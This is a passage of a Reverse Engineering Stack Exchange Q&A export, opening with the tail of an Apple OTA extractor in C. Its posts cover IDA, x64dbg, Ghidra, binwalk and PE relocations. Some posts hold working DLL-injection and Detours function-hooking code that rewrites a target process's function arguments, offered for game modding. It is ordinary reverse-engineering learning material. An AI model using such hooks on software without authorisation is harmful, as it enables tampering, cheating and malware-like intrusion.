// 02/08/2016: Fixed this from alloca() - the Apple jumbo OTAs have so many files in them (THANKS GUYS!!)\n    // that this would exceed the stack limits (could solve with ulimit -s, or also by using\n    // a max buf size and reusing same buf, which would be a lot nicer)\n\n    \n    // Note to AAPL: Life would have been a lot nicer if the name would have been NULL terminated..\n    // What's another byte per every file in a huge file such as this?\n    // char *name = (char *) (mmapped+pos);\n\n    char *name = alloca (nameLen+1);\n\n    strncpy(name, mmapped+pos , nameLen);\n    name[nameLen] = '\\0';\n    //printf(&quot;NAME IS %s\\n&quot;, name);\n\n    pos += ntohs(ent-&gt;nameLen);\n    uint32_t    fileSize = swap32(ent-&gt;fileSize);\n    uint16_t    perms = ntohs(ent-&gt;perms);  \n\n\n    if (g_list){ \n    if (g_verbose) {\n    printf (&quot;Entry @0x%d: UID: %d GID: %d Mode: %o Size: %d (0x%x) Namelen: %d Name: &quot;, i,\n                            ntohs(ent-&gt;uid), ntohs(ent-&gt;gid),\n                             perms, size, size,\n                              ntohs(ent-&gt;nameLen));\n    }\n    printf (&quot;%s\\n&quot;, name);}\n\n\n    // Get size (immediately after the name)\n    if (fileSize) \n        {\n            if (g_extract) { extractFile(mmapped +pos, name, fileSize, perms, g_extract);}\n            // Added  08/05/19 -  Hash\n            if (g_hash) { hashFile (mmapped +pos, name, fileSize, perms, g_hash); }\n\n    \n            // Added 08/31/16 - And I swear I should have this from the start.\n            // So darn simple and sooooo useful!\n\n            if (g_search){\n    \n                char *found = memmem (mmapped+pos, fileSize, g_search, strlen(g_search) + (g_nullTerm ? 1 : 0));\n                while (found != NULL)\n                {\n                int relOffset = found - mmapped - pos;\n                \n                fprintf(stdout, &quot;Found in Entry: %s, relative offset: 0x%x (Absolute: %lx)&quot;,\n                    name,\n                    relOffset,\n                    found - mmapped);\n\n                // 12/01/18\n\n                if (g_verbose) {\n\n                fputc(':', stdout);\n                fputc(' ', stdout);\n                   char *begin = found;\n\n                   int i = 0 ;\n#define BACK_LIMIT -20\n#define FRONT_LIMIT 20\n                   while(begin[i] &amp;&amp; i &gt; BACK_LIMIT) { i--;}\n                   \n                   for (;begin +i &lt; found; i++) { \n\n                    if (isprint(begin[i])) putc (begin[i], stdout); else putc ('.', stdout); }\n                   printf(&quot;%s%s%s&quot;,RED, g_search, NORMAL);\n                   for (i+= strlen(g_search); begin[i] &amp;&amp;( i &lt; FRONT_LIMIT); i++) { \n                    if (isprint(begin[i])) putc (begin[i], stdout); else putc ('.', stdout); }\n                                    \n                     \n\n                }\n                fprintf(stdout,&quot;\\n&quot;);\n\n                // keep looking..\n                 found = memmem (found + 1, fileSize - relOffset , g_search, strlen(g_search) +( g_nullTerm ? 1: 0));\n                } // end while\n                \n            } // end g_search\n\n            pos +=fileSize;\n        }\n\n\n\n    \n\n    } // Back to loop\n\n    if (extracted) { /*printf(&quot;FREEing %p\\n&quot;, extracted);*/ free (extracted);}\n    munmap(actualMmapped, mappedSize);\n\n\n    \n}\n\n\n</code></pre>\n"
    },
    {
        "Id": "25428",
        "CreationDate": "2020-07-01T07:39:59.230",
        "Body": "<p>I'm facing a problem that i need to dump a large region of memory with IDA pro</p>\n<p>using xdbg its easily done by going to memory map tab and just dumping a region, how can i do this in IDA pro? for example dump from address x to y</p>\n<p>I tried to use a simple IDApython script but if the size is large  IDA will just crash (I'm dumping a large region while remotely debugging a windows kernel)</p>\n<pre><code>filename = AskFile(1, &quot;*.bin&quot;, &quot;Output file name&quot;)\naddress = startAddress\nsize = 0xFFFFFF\ndbgr = True\nwith open(filename, &quot;wb&quot;) as out:\n    data = GetManyBytes(address, size, use_dbg=dbgr)\n    out.write(data)\n</code></pre>\n",
        "Title": "What is the easiest way to dump a REGION of memory in IDA pro?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Without scripting:</p>\n<ol>\n<li>Select the range:</li>\n</ol>\n<p>Go to start of the area, press <kbd>Alt+L</kbd>, go to the end</p>\n<ol start=\"2\">\n<li><p>Edit, Export data (or <kbd>Shift+E</kbd>)</p>\n</li>\n<li><p>pick &quot;raw bytes&quot; and enter filename in the Outpuf File field.</p>\n</li>\n</ol>\n<p>With scripting:</p>\n<pre><code>idc.savefile(filename, 0, startAddress, size)\n</code></pre>\n"
    },
    {
        "Id": "25430",
        "CreationDate": "2020-07-01T18:42:45.300",
        "Body": "<p>I am tracking down a data structure whose address is inside the second operand:</p>\n<pre><code>mov rcx, qword ptr ss:[rbp+E0]\n</code></pre>\n<p>When I look at the value of [rbp+E0] I see the following dump:</p>\n<pre><code>21 C4 FC 5E 00 00 00 00\n</code></pre>\n<p>This is the pointer to the data structure but it is stored as little endian. So I cannot simply copy the address. I have to transform it by hand into:</p>\n<pre><code>000000005EFCC421\n</code></pre>\n<p>Is there a common and easy way to handle these situations? I am currently using x64dbg as a debugger.\nThanks!</p>\n",
        "Title": "How can I easily convert little endian pointers in hex dumps?",
        "Tags": "|x64dbg|",
        "Answer": "<p>Normally there should be an option \u201cdisplay as dwords\u201d or similar for the memory dump</p>\n"
    },
    {
        "Id": "25445",
        "CreationDate": "2020-07-05T13:41:31.690",
        "Body": "<p>What is the best approach when debugging a multithreaded program that is yet to be encrypted? Where is the best place to put Breakpoints using Ollydbg?</p>\n",
        "Title": "Debugging Encrypted Malware with Multiple Threads",
        "Tags": "|debugging|ollydbg|malware|winapi|thread|",
        "Answer": "<p>If the program is using standard cryptography libraries then hooking the exported functions of that library might be a good starting point</p>\n"
    },
    {
        "Id": "25447",
        "CreationDate": "2020-07-05T18:09:07.130",
        "Body": "<p>Can anyone explain, why fopen takes as argument- not a file name- according to code takes some off_6A5D8C:</p>\n<pre><code>.text:00537F9F                 push    offset stru_6C4E40 ; FILE *\n.text:00537FA4                 call    _fclose\n.text:00537FA9                 push    offset aWt      ; &quot;wt&quot;\n.text:00537FAE                 push    offset off_6A5D8C ; char *\n.text:00537FB3                 call    _fopen\n.text:00537FB8                 mov     dword_83AE9C, eax\n</code></pre>\n<p>and I tracked this off_6A5D8C it's pointed to label loc_4C554E:</p>\n<pre><code>.data:006A5D8C ; char off_6A5D8C\n.data:006A5D8C off_6A5D8C      dd offset loc_4C554E    \n.data:006A5D90 ; char aWt[]\n.data:006A5D90 aWt             db 'wt',0\n</code></pre>\n<pre><code>.text:004C554E loc_4C554E:\n.text:004C554E                 mov     esp, ebp\n.text:004C5550                 pop     ebp\n.text:004C5551                 retn    0Ch\n</code></pre>\n<p>I am not expert in disassembling, may be it requires perform Undefine operation for loc_4C554E - and in this case it's looks like:</p>\n<pre><code>.text:004C554E unk_4C554E      db  8Bh ; \u00cb             ; DATA XREF: .data:off_6A5D8Co\n.text:004C554F                 db 0E5h ; \u00f5\n.text:004C5550                 db  5Dh ; ]\n.text:004C5551                 db 0C2h ; T\n.text:004C5552                 db  0Ch\n.text:004C5553                 db    0\n</code></pre>\n<p>Seems it is string terminated with 0. How to turn this string (file name) to readable look?\nThanks in advance.</p>\n",
        "Title": "Figure out with fopen",
        "Tags": "|disassembly|x86|c++|",
        "Answer": "<p>It takes the file name, but IDA doesn't recognise it.</p>\n<p>In this example, IDA interpreted <code>4</code>-byte string <code>NUL\\x00</code> (<code>4E 55 4C 00</code>) as an offset (address <code>0x004C554E</code>) in the code. You may force it to interpret it as an ascii string simple by pressing <kbd>a</kbd> when the cursor is on the line <code>006A5D8C</code>.</p>\n<p>The reason that the byte order is reversed is that <code>x86</code> architecture uses <a href=\"https://en.wikipedia.org/wiki/Endianness\" rel=\"noreferrer\">little endian</a> byte ordering, so in case you interpret <code>4E 55 4C 00</code> as a number, the byte order will be reversed (hence <code>0x004C554E</code>).</p>\n"
    },
    {
        "Id": "25454",
        "CreationDate": "2020-07-07T07:58:50.983",
        "Body": "<p>I need to patch an arm7 program by replacing this fopen function by another function.</p>\n<pre><code>.text:00018D68 52 D7 FF EB                       BL              fopen\n\n...\n\n.plt:0000EAB8 ; FILE *fopen(const char *filename, const char *modes)\n</code></pre>\n<p>Do you know how to calculate the 24 bits that I need to write after EB?\nThe documentation is not very clear. I tried to find a Branch offset calculator but not found.</p>\n<p>Thx,</p>\n",
        "Title": "ARM7 32-bit Branch Offset Calculator",
        "Tags": "|ida|arm|patching|patch-reversing|",
        "Answer": "<p>you can use <a href=\"https://www.keystone-engine.org/showcase/\" rel=\"nofollow noreferrer\">https://www.keystone-engine.org/showcase/</a> assembler</p>\n<pre><code>from keystone import *\ntarget = 0xDEADBEEF\ncurrent = 0x18D68\nks = Ks(KS_ARCH_ARM, KS_MODE_ARM)\nbytes(ks.asm(&quot;bl {}&quot;.format(hex(target)), current)[0]).hex()\n</code></pre>\n"
    },
    {
        "Id": "25459",
        "CreationDate": "2020-07-08T14:06:58.637",
        "Body": "<p>I need some tip to undrestand what is the best way to execute external code from DLL or command line.</p>\n<p>I like to add the force feedback support to different games that not support it.</p>\n<p>I can write a DLL or a commnad line exe that execute the FFB. The problem is how I call these function from the game.</p>\n<p>For the moment I have disassebled one game with IDA and found the point to put the call.</p>\n<p>I don't have any experience in assembly. So I'am not sure if I'am in the right way.</p>\n<p>There are some tool like: wininject so I was think to use it to add the dll dependency to my exe game.</p>\n<p>After I need to do the call of my function inside the DLL in assembly (ex. exectute_ffb(par1) ), but I don't known the code to do the call.</p>\n<p>Here the screenshot about the call.</p>\n<p><a href=\"https://i.stack.imgur.com/cILHn.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cILHn.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/uEvtc.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uEvtc.png\" alt=\"enter image description here\" /></a></p>\n<pre><code>int __cdecl sub_43AC70(char *a1, int a2)\n{\n  call my_function(a1) from mylibrary.dll\n\n  int i; // [esp+0h] [ebp-4h]\n\n  for ( i = sub_43BC50(); i; i = *(_DWORD *)i )\n  {\n    if ( *(_DWORD *)(i + 88) == a2 &amp;&amp; (!a1 || !stricmp((const char *)(i + 4), a1)) )\n      return i;\n  }\n  return 0;\n</code></pre>\n<p>Can you help me please ?</p>\n",
        "Title": "dll injection (assembly code)",
        "Tags": "|disassembly|assembly|dll-injection|",
        "Answer": "<p>It is indeed possible, and not that hard to do - providing the game doesn't have any anti-cheat nor integrity checks.</p>\n<p>The thing you are looking for is called <strong>function hooking</strong>. If you don't want to mess with assembly there are few good libs that can do the most important and tedious part of work for you.</p>\n<ul>\n<li><a href=\"https://github.com/microsoft/Detours\" rel=\"nofollow noreferrer\">Detours</a> - developed by Microsoft</li>\n<li><a href=\"https://github.com/frida/frida\" rel=\"nofollow noreferrer\">Frida</a></li>\n<li><a href=\"https://github.com/stevemk14ebr/PolyHook_2_0\" rel=\"nofollow noreferrer\">PolyHook</a></li>\n</ul>\n<p>Take a look into examples, for example that one in PolyHook`s repository. <a href=\"https://github.com/stevemk14ebr/PolyHook_2_0/blob/master/ExampleProject/ExampleProject/ExampleProject/ExampleProject.cpp\" rel=\"nofollow noreferrer\">Here</a> they hook (intercept) printf function, but there is no problem to intercept game function at <code>43AC70</code> to call your function from <code>mylibrary.dll</code>.</p>\n<p>If you want to write your own detour you can take a look at my other reply on that site: <a href=\"https://reverseengineering.stackexchange.com/questions/23433/what-is-the-best-way-to-change-the-call-graph-of-a-pe-file-without-changing-its/25026#25026\">here</a></p>\n"
    },
    {
        "Id": "25466",
        "CreationDate": "2020-07-10T11:17:21.030",
        "Body": "<p>I want to write a script to extract the entropy of each sections of an EXE file. What is the best tool that I can use to do this?\nI tried Ghidra but it doesn't have an entropy API which I can use.</p>\n",
        "Title": "Best way to find the entropy of an EXE file?",
        "Tags": "|disassembly|pe|entropy|",
        "Answer": "<p>You can use <code>r2</code> to get the data and <code>r2pipe</code> to script it.</p>\n<p><code>iS entropy</code> produce the entropy values for each section. Adding <code>j</code> will produce it in JSON format and scripting it with <code>r2pipe</code> is easy.</p>\n<pre><code>import r2pipe\np = r2pipe.open('&lt;path_to_exe&gt;')\nres = p.cmdj('iSj entropy')\nprint([(x['name'],x['entropy']) for x in res['sections']])\n</code></pre>\n<blockquote>\n<p>[('.text', '6.00602992'), ('.rdata', '3.94265366'), ('.data', '6.85876398'), ('.pdata', '3.46591559'), ('.rsrc', '4.70150326'), ('.reloc', '4.96848447')]</p>\n</blockquote>\n"
    },
    {
        "Id": "25470",
        "CreationDate": "2020-07-10T18:23:36.307",
        "Body": "<p>There are a sequence of bytes that i need to find out where are used in dnspy</p>\n<p>i tried going to hex editor and found the bytes, but right clicking and saying go to code or structure or follow reference wont work</p>\n<p>how can i know where these bytes are used if there is no reference? is it possible to set breakpoint on location access just like IDA, or any easier way?</p>\n<p>The sequence of bytes are right before the IAT in the .text section, around 0x70 bytes after this string which seems to be in a lot of .net files :</p>\n<p>Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator</p>\n",
        "Title": "How to know where a sequences of bytes are used in a .NET application with Dnspy?",
        "Tags": "|windows|malware|.net|c#|dnspy|",
        "Answer": "<p>I figured it out:</p>\n<p>Right click and go to hex editor, then search the bytes you are looking for, then after finding it right click and select go to code reference.</p>\n"
    },
    {
        "Id": "25474",
        "CreationDate": "2020-07-11T05:58:08.563",
        "Body": "<p>I'm using IDA batch scripting to run a script on a dataset of malware</p>\n<p>the problem is i need to run the VB6 idc script after auto analysis is finished, and wait for it to finish and find all the functions, then run my own script (my script is in IDApython and VB6 script is a idc file)</p>\n<p>to manually run this VB6 script i go to file and choose script file ( there is no menu button or shortcut added)  and wait for it to finish and find all VB6 functions</p>\n<p>so what is the easiest way to achieve this? can i execute a idc script from my IDApython script and wait for it to finish?</p>\n",
        "Title": "How to run another IDA script using IDApython?",
        "Tags": "|ida|windows|idapython|script|",
        "Answer": "<p>Found it in <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"nofollow noreferrer\">IDAPython documentation</a>.</p>\n<ul>\n<li>There is a function <code>exec_idc_script</code> <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_expr-module.html#exec_idc_script\" rel=\"nofollow noreferrer\">here</a> in module <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"nofollow noreferrer\">ida_expr</a>.I never used it myself but according to the spec it should work.</li>\n<li>In addition there is a <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1127.shtml\" rel=\"nofollow noreferrer\"><code>RunPythonStatement</code></a> in IDC if you need to do it conversely.</li>\n</ul>\n"
    },
    {
        "Id": "25495",
        "CreationDate": "2020-07-14T09:45:42.580",
        "Body": "<p>I have found 2 source code example to hook a function.</p>\n<p>Example1:</p>\n<pre><code>#include &quot;detours.h&quot;\n#include &quot;sigscan.h&quot;\n\n// this is the function that the program\n// will jump to when sum() is called in the original program (testprogram.exe)\n\nDWORD AddressOfSum = 0;\n// template for the original function\ntypedef int(*sum)(int x, int y); \n\nint HookSum(int x, int y)\n{\n    // manipulate the arguments\n    x += 500;\n    y += 500;\n\n    // we manipulate the arguments here and then\n    // redirect the program to the original function\n\n    std::cout &lt;&lt; &quot;your program has been hacked! &quot; &lt;&lt; std::endl;\n    sum originalSum = (sum)AddressOfSum;\n    return originalSum(x, y);\n}\n\nBOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)\n{\n    // store the address of sum() in testprogram.exe here.\n\n    if (dwReason == DLL_PROCESS_ATTACH)\n    {\n        // We will use signature scanning to find the function that we want to hook\n        // we will find the function in IDA pro and create a signature from it:\n\n        SigScan Scanner;\n\n        // testprogram.exe is the name of the main module in our target process\n        AddressOfSum = Scanner.FindPattern(&quot;testprogram.exe&quot;, &quot;\\x55\\x8B\\xEC\\x8B\\x45\\x08\\x03\\x45\\x0C&quot;, &quot;xxxxxxxxx&quot;);\n\n        DetourTransactionBegin();\n        DetourUpdateThread(GetCurrentThread());\n\n        // this will hook the function\n        DetourAttach(&amp;(LPVOID&amp;)AddressOfSum, &amp;HookSum);\n\n        DetourTransactionCommit();\n    }\n    else if (dwReason == DLL_PROCESS_DETACH)\n    {\n        // unhook\n        DetourTransactionBegin();\n        DetourUpdateThread(GetCurrentThread());\n\n        // this will hook the function\n        DetourDetach(&amp;(LPVOID&amp;)AddressOfSum, &amp;HookSum);\n\n        DetourTransactionCommit();\n    }\n    return TRUE;\n}\n</code></pre>\n<p>Example2:</p>\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;detours.h&gt;\n#include &lt;iostream&gt;\n \n#define ADDRESS 0x40133C    //This is the address where our targeted function begins\ndouble (__cdecl* originalFunction)(double); //Pointer to the function we are going to hook, must be declared same as original(returns double and takes double as argument)\n \n \n \n/*Our modified function code that is going to be executed\nbefore continuing to the code of original function*/\ndouble hookedFunction(double a)  \n{                                 \nstd::cout &lt;&lt; &quot;original function: argument = &quot;&lt;&lt; a &lt;&lt; std::endl; //we can access arguments passed to original function\na=50.1337;                                                        //Modify arguments\nreturn originalFunction(a);                                        //before returning to normal execution of function\n}\n \nBOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved)\n{\nswitch (dwReason)\n{\ncase DLL_PROCESS_ATTACH:\noriginalFunction = (double(__cdecl*)(double))DetourFunction((PBYTE)ADDRESS, (PBYTE)hookedFunction); //Magic\nbreak;\n}\nreturn TRUE;\n}\n</code></pre>\n<p>And I ask what is best easy and flexible approach to hook functions.</p>\n<p>My consideration:</p>\n<ol>\n<li>Example 1: is tested and worked.</li>\n<li>Example 1: is a filename dependent &quot;testprogram.exe&quot;. So if I change the exe file name I need to change the source code.</li>\n<li>Example 1: &quot;\\x55\\x8B\\xEC\\x8B\\x45\\x08\\x03\\x45\\x0C&quot; this is the address point format and it is not easy to decode like example 2: &quot;0x40133C&quot; (more easy)</li>\n<li>Example 2: don't work because &quot;detourFunction&quot; is deprecated. Now there is &quot;detourAttach&quot; but I don't known how migrate to it in this case.</li>\n<li>Example 2: is more easy but old. I don't known if will work in the future (32 or 64 bit)...</li>\n</ol>\n<p>Can you help me please to take a decision or suggest me a better/easier solution ?</p>\n",
        "Title": "best approach to hook function",
        "Tags": "|c++|function-hooking|dll-injection|",
        "Answer": "<p>The first one is much better in my opinion:</p>\n<ul>\n<li><p>It doesn't use deprecated function, that is probably kept only in the <code>Detours</code> library for backward compatibility</p>\n</li>\n<li><p>It uses pattern scanning, this is much better then embedding raw address, because lets say you are going to inject the .dll to a game, even if it's old singleplayer game it may have a lot of revisions, so the raw address may point to another function, while the pattern will mostly likely find a match anyway (providing the revisions don't differ too much)</p>\n</li>\n</ul>\n<p>The argument with hardcoded &quot;testprogram.exe&quot; doesn't really matter, beacuse there are a lot of ways to get name of the executable, for example you may use the winapi function <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea\" rel=\"nofollow noreferrer\">GetModuleFileName</a></p>\n<p>Not sure if I understand correctly the question about migration, however if you wan't to use DetourAttach in the second example there is no problem with that, just call the <code>DetourAttach</code> like in first example, but with <code>ADDRESS</code> instead of <code>AddressOfSum</code> as parameter.</p>\n"
    },
    {
        "Id": "25534",
        "CreationDate": "2020-07-23T04:00:34.820",
        "Body": "<p>This teardown:\n<a href=\"https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html\" rel=\"nofollow noreferrer\">https://electronics-teardowns.blogspot.com/2020/07/eufy-homebase2-teardown.html</a></p>\n<p>Gives a flash dump for the Eufy Home Base 2 here: <a href=\"https://anonymousfiles.io/Ve9y3cL4/\" rel=\"nofollow noreferrer\">https://anonymousfiles.io/Ve9y3cL4/</a></p>\n<p>With this partition table:</p>\n<pre><code>[    0.472000] Creating 12 MTD partitions on &quot;raspi&quot;:\n[    0.480000] 0x000000000000-0x000002000000 : &quot;ALL&quot;\n[    0.484000] 0x000000000000-0x000000030000 : &quot;Bootloader&quot;\n[    0.492000] 0x000000030000-0x000000040000 : &quot;Config&quot;\n[    0.500000] 0x000000040000-0x000000050000 : &quot;Factory&quot;\n[    0.504000] 0x000000050000-0x0000002e02cd : &quot;Kernel&quot;\n[    0.512000] mtd: partition &quot;Kernel&quot; doesn't end on an erase block -- force read-only\n[    0.520000] 0x0000002e02cd-0x000000e50000 : &quot;RootFS&quot;\n[    0.524000] mtd: partition &quot;RootFS&quot; doesn't start on an erase block boundary -- force read-only\n[    0.536000] 0x000000050000-0x000000e50000 : &quot;Kernel_RootFS&quot;\n[    0.544000] 0x000000e50000-0x000000e60000 : &quot;device_info&quot;\n[    0.552000] 0x000000e60000-0x000000e70000 : &quot;ocean_custom&quot;\n[    0.560000] 0x000000e70000-0x000000f40000 : &quot;Kernel2&quot;\n[    0.564000] 0x000000f40000-0x000001440000 : &quot;RootFS2&quot;\n[    0.572000] 0x000001440000-0x000002000000 : &quot;user_fs_jffs2&quot;\n</code></pre>\n<p>But binwalk, file, unsquashfs, etc., can't seem to find filesystems at those offsets.  Eg., binwalk just sees a bunch of xz data (which often decompresses into MIPS binaries, but not a filesystem):</p>\n<pre><code>$ binwalk mtd0 |head\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n83600         0x14690         U-Boot version string, &quot;U-Boot 1.1.3 (Nov  6 2018 - 17:19:03)&quot;\n327680        0x50000         uImage header, header size: 64 bytes, header CRC: 0xD3931108, created: 2020-05-09 09:54:47, image size: 13185677 bytes, Data Address: 0x80000000, Entry Point: 0x805E9280, data CRC: 0x62435970, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: &quot;Linux Kernel Image&quot;\n327744        0x50040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 8125672 bytes\n3015469       0x2E032D        xz compressed data\n3064741       0x2EC3A5        xz compressed data\n3112893       0x2F7FBD        xz compressed data\n3164133       0x3047E5        xz compressed data\n...\n</code></pre>\n<p>I'd like to study the various rootfs filesytems listed in the partition table.  What am I missing?</p>\n",
        "Title": "Why doesn't binwalk see the filesystems in this Eufy Home Base 2 flash dump?",
        "Tags": "|file-format|mips|flash|",
        "Answer": "<p><code>binwalk</code> scans files for <a href=\"https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk/magic\" rel=\"nofollow noreferrer\">magic bytes</a>. Data that does not have a signature defined for it will not be found by a signature scan.</p>\n<p>It appears no signature is defined for RootFS file systems (the hits for rootfs below are labels for offsets in TRX headers):</p>\n<p><a href=\"https://i.stack.imgur.com/CwU2e.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CwU2e.png\" alt=\"no rootFS signature\" /></a></p>\n<p>Example entries for SquashFS file systems signatures, for reference:</p>\n<p><a href=\"https://i.stack.imgur.com/jxmyl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jxmyl.png\" alt=\"signature entries for squashfs\" /></a></p>\n"
    },
    {
        "Id": "25537",
        "CreationDate": "2020-07-23T11:35:35.880",
        "Body": "<p>I am currently reversing RUST binaries, and I often come across this block of instruction :</p>\n<pre><code>.text:000055F4BFB943F2 db      2Eh\n.text:000055F4BFB943F2 nop     word ptr [rax+rax+00000000h]\n.text:000055F4BFB943FC nop     dword ptr [rax+00h]\n</code></pre>\n<p>Which probably does nothing. I can see the rogue byte at the beginning, but pressing <code>C</code> on IDA to disassemble from there gives no result. Thus, I am wondering why rust compiler create those instructions as they appear to be useless.</p>\n",
        "Title": "Why do those useless instruction are in Rust final binary?",
        "Tags": "|disassembly|compilers|compiler-optimization|",
        "Answer": "<p>These are instructions used for alignment. You can see that the last instruction ends on a 16-byte boundary (<code>000055F4BFB94400</code>).</p>\n"
    },
    {
        "Id": "25540",
        "CreationDate": "2020-07-24T12:20:41.473",
        "Body": "<p>I understand that the relocation table exists for when an image isn't loaded at its preferred address, but if an image isn't loaded at its preferred address, doesn't everything need to be relocated relative to the actual load address? Isn't that the whole point of an RVA? What makes addresses that have entries in the relocation table different?</p>\n<p>(My first question, please point out mistakes if I made them. Thanks.)</p>\n",
        "Title": "Why are relocation tables needed?",
        "Tags": "|pe|",
        "Answer": "<p>Relative Virtual Address = RVA  it is relative within the address space</p>\n<p>jmp here+78  will always jump +78 from wherever here is</p>\n<p>now jump 402078 will always try to jump to 402078</p>\n<p>this will only succeed if 402078's preferred loading address was 400000 and the binary</p>\n<p>loaded at 400000</p>\n<p>if it loaded at 600000 then 402078 does not exist in that address space and will result in access vioaltion</p>\n<p>here relocation table is required</p>\n<p>Loader when loading the binary will check preferred address  and patch the 402078 to 602078  when loading</p>\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/20057/call-instruction-changed-while-running/20058#20058\">posts that contain relevent information</a></p>\n"
    },
    {
        "Id": "25542",
        "CreationDate": "2020-07-24T14:51:15.430",
        "Body": "<p>Given C code, are the function addresses from the ELF the same as those in the stripped version?</p>\n<p>I don't have any specific code in mind. Just trying to learn in general how to find the function beginning (and possibly end) in the stripped binary given the original code.</p>\n",
        "Title": "How to find function start in stripped binary?",
        "Tags": "|disassembly|binary-analysis|c|gcc|",
        "Answer": "<p>In a nutshell, stripping a binary means removing sections containing symbol and debug information from the file. These sections lie at the end of the binary, separate from the code. Removing this information has no bearing on the code itself, so the locations of functions in the file (their file offsets) will be the same after stripping the binary. Function addresses (their location in virtual memory), on the other hand, may either be hardcoded or position independent; it depends on how the binary was compiled (this is also unaffected by stripping symbol info).</p>\n<p>Finding the boundaries of functions in stripped binaries is an undecidable problem, but workarounds and heuristics exist, such as a signature-based approach to function detection. Here are some examples:</p>\n<ol>\n<li><a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow noreferrer\">IDA FLIRT</a> essentially uses byte patterns to create function signatures</li>\n<li>Ghidra's <a href=\"https://github.com/NationalSecurityAgency/ghidra/tree/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID\" rel=\"nofollow noreferrer\">FunctionID</a> feature takes mnemonic and operand type into account when hashing instructions to match functions to their well-known name\n<ul>\n<li>this is according to <a href=\"https://twitter.com/williballenthin/status/1144031730963140608\" rel=\"nofollow noreferrer\">Willi Ballenthin's analysis</a></li>\n<li><a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/49c2010b63b56c8f20845f3970fedd95d003b1e9/Ghidra/Features/FunctionID/src/main/java/ghidra/feature/fid/hash/MessageDigestFidHasher.java\" rel=\"nofollow noreferrer\">hashing implementation</a></li>\n</ul>\n</li>\n<li>JEB's disassembler creates <a href=\"https://docs.google.com/presentation/d/17Vlv5JD8fGeeNMQqDuwDQXN3d9U6Yxmfb1aebfbMM98/view#slide=id.g597565ee72_1_16\" rel=\"nofollow noreferrer\">function signatures by hashing the assembly (not binary code) of the function with a custom hashing algorithm</a>.</li>\n<li>BinaryNinja's <a href=\"https://binary.ninja/2020/03/11/signature-libraries.html\" rel=\"nofollow noreferrer\">Signature Library</a></li>\n</ol>\n<p>Here is an interesting article on the subject: <a href=\"https://binary.ninja/2017/11/06/architecture-agnostic-function-detection-in-binaries.html\" rel=\"nofollow noreferrer\">Architecture Agnostic Function Detection in Binaries</a></p>\n"
    },
    {
        "Id": "25561",
        "CreationDate": "2020-07-27T15:05:35.033",
        "Body": "<p>I have a simple program:</p>\n<pre><code>#include &lt;stdio.h&gt;\n\nint main()\n{\n  int a;\n  a = func(15, 3);\n  return a;\n}\n\nint func(int i, int j)\n{\n  int b1[5], b2[10];\n\n  b2[i] = 1;\n  printf(&quot;%d\\n&quot;, b1[j]);\n\n  return 0;\n}\n</code></pre>\n<p>I am using python script to get local variables from the stripped binary, compiled using above program.</p>\n<p>I use: <code>function.getLocalVariables()</code> or something like <code>function.getStackFrame().getStackVariables()</code> to get the local variables. Interestingly I observed that, this script doesn't give me all the variables which can be seen in the decompiler window. For e.g., in the above case, I get following in the decompiled window (for function <code>func</code>):</p>\n<p><img src=\"https://user-images.githubusercontent.com/17796905/88557533-f0a99380-cfef-11ea-9dfa-f2bd4e870266.png\" alt=\"image\" /></p>\n<p>Here, the predicted buffers can be seen. But instead I get:</p>\n<pre><code>FUN_004004d6\narray(ghidra.program.model.listing.Variable, [[undefined4 local_5c@Stack[-0x5c]:4], [undefined4 local_60@Stack[-0x60]:4]])\n</code></pre>\n<p>which are clearly not the predicted buffers. Is there any way to get those buffers?</p>\n<p>Note: I also posted the same on ghidra github's forum.</p>\n",
        "Title": "Is there any way to get predicted variables using python script?",
        "Tags": "|ghidra|",
        "Answer": "<p>In case anyone wondering, I posted this question on ghidra github as well and @cetfor posted a very good way to do this. You can find that question <a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/2143\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>I tried to reproduce it and I was able to do this successfully.</p>\n<blockquote>\n<pre><code>from ghidra.app.decompiler import DecompileOptions\nfrom ghidra.app.decompiler import DecompInterface\n\nifc = DecompInterface()\nifc.setOptions(DecompileOptions())\nifc.openProgram(currentProgram)\n\nfor function in functions:\n    res = ifc.decompileFunction(function, 60, monitor)\n    high_func = res.getHighFunction()\n    lsm = high_func.getLocalSymbolMap()\n    symbols = lsm.getSymbols()\n\n    for i, symbol in enumerate(symbols):\n      print(&quot;Symbol {}: {} (size: {})&quot;.format(i+1, symbol.getName(), symbol.size))\n</code></pre>\n</blockquote>\n<p>Check out <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html\" rel=\"nofollow noreferrer\">this</a> endpoint for more information on highfunction. Note that I found differences in variables given by this decompiler interface and listing. Also, I couldn't find any api endpoint which gives address references by these variables (something like <code>getReferencesTo</code>).</p>\n"
    },
    {
        "Id": "25567",
        "CreationDate": "2020-07-27T22:45:20.747",
